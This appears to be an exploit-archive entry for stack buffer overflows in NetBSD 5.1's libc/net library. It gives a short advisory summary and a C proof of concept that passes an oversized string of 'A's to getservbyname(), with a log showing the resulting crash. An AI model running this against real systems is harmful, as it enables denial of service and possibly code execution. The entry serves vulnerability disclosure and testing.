NetBSD 5.1 – ‘libc/net’ Multiple Stack Buffer Overflows
// source: https://www.securityfocus.com/bid/48528/info NetBSD is prone to a stack-based buffer-overflow vulnerability affecting multiple functions in the 'libc/net' library. Successful exploits may allow an attacker to execute arbitrary code in the context of the application using the affected library. Failed exploit attempts will result in a denial-of-service condition. /* 127# gcc -o grr grr.c && ./grr 6050 127# gcc -o grr grr.c && ./grr 6051 Memory fault (core dumped) 127# */ #include <stdlib.h> #include <string.h> #include <netdb.h> int main(int argc, char *argv[]){ char *cycek; cycek=malloc(atoi(argv[1])); if(!cycek) return 1; memset(cycek,'A',atoi(argv[1])); getservbyname(cycek,"tcp"); return 0; } |